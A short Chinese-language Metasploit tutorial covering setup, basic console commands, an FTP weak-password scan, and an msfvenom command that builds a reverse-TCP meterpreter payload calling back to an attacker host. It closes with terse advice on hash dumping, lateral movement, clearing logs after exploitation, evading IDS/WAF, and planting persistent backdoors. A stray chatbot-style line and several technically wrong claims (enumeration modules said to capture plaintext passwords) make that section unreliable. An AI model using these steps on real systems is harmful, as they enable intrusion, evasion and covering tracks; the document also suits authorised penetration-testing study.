Metasploit
简介
Metasploit是一个免费的渗透测试框架,包含了大量的渗透测试工具和漏洞利用代码。使用Metasploit可以方便地进行漏洞扫描、漏洞利用、获取目标系统SHELL等操作。
准备工作
在使用Metasploit之前,需要做一些准备工作:
安装Kali Linux系统,Metasploit包含在Kali系统中。
更新Kali系统和Metasploit框架到最新版本。在终端输入以下命令:
代码语言:javascript复制sudo apt-get update
sudo apt-get install metasploit-framework
msfupdate
启动Metasploit控制台。在终端输入msfconsole
命令。
基本用法
进入msfconsole后,可以使用以下基本命令:
search
搜索模块,例如search ftp
搜索FTP相关模块use
加载模块,例如use auxiliary/scanner/ftp/ftp_login
show options
显示选定模块的参数set
设置参数,例如set RHOSTS 192.168.1.1
run
运行当前模块exploit
尝试利用当前目标sessions
交互式SHELL会话
模块介绍
Metasploit包含了以下几种模块:
- Auxiliary – 辅助模块,包含扫描器、拒绝服务等
- Exploit – 漏洞利用模块
- Encoder – 编码模块,用于将payload进行编码避免检测
- Payload – 各种后门payload
- Post – 渗透后利用模块
- NOP – 允许插入NOP滑位进行缓冲区溢出
利用这些模块可以进行漏洞扫描、漏洞利用、维持访问等操作。
简单示例
这里我们以扫描FTP服务弱口令为例:
- 搜索FTP登录模块:
search ftp_login
- 使用ftp_login模块:
use auxiliary/scanner/ftp/ftp_login
- 显示模块信息和参数:
show info
,show options
- 设置目标IP和用户名字典:
set RHOSTS 192.168.1.1
、set USER_FILE /usr/share/wordlists/metasploit/ftp_users.txt
- 运行模块:
run
这样就可以对192.168.1.1这个IP的FTP服务进行弱口令扫描。所有可疑登录尝试和成功登录会输出到屏幕上。
生成 payload
我们也可以使用msfvenom生成各种格式的payload,常见的命令是:
代码语言:javascript复制msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f elf > shell.elf
这会生成一个反向连接的meterpreter payload。
好的,给你详细写出Metasploit的高级用法和记录报告功能:
高级用法
- 获取系统散列与密码
使用hashdump
和snmpenum
模块可以 dump系统密码散列,再使用john
破解明文密码。
- 密码抓取
设置好LOCAL_PORT和PASSWORD参数,使用smtp_enum
, snmp_enum
, smb_enumusers
等模块可以抓取明文密码。
- 横向移动
使用autoroute
模块可以开启Session自动路由。充分利用Windows管理共享,使用smb_login
获取管理员权限,再使用psexec
在内网进行横向移动。
- 痕迹清除
每次exploit后记得清理日志、删除文件。不需要 maintain 的session也应及时关闭。
- 绕过防护
设置好编码格式,使用自定义的PAYLOAD,修改请求头等方法可尝试绕过IDS/IPS和WAF防护。
- 持续访问
成功获得meterpreter session后,上传一个持久后门,或者使用persistence
模块在目标机上做持久化设置。
记录和报告
- 保存扫描结果
使用db_nmap [ip/subnet]
可以将nmap扫描数据导入数据库。
- 保存exploit结果
对于成功利用的结果,记得及时使用notes
命令添加笔记,保存更多信息。
- 生成报告
使用report -t [html|pdf|rtf|xml]
可以生成详细的渗透测试报告。
这样可以很好地记录整个渗透测试过程,生成专业的报告文档。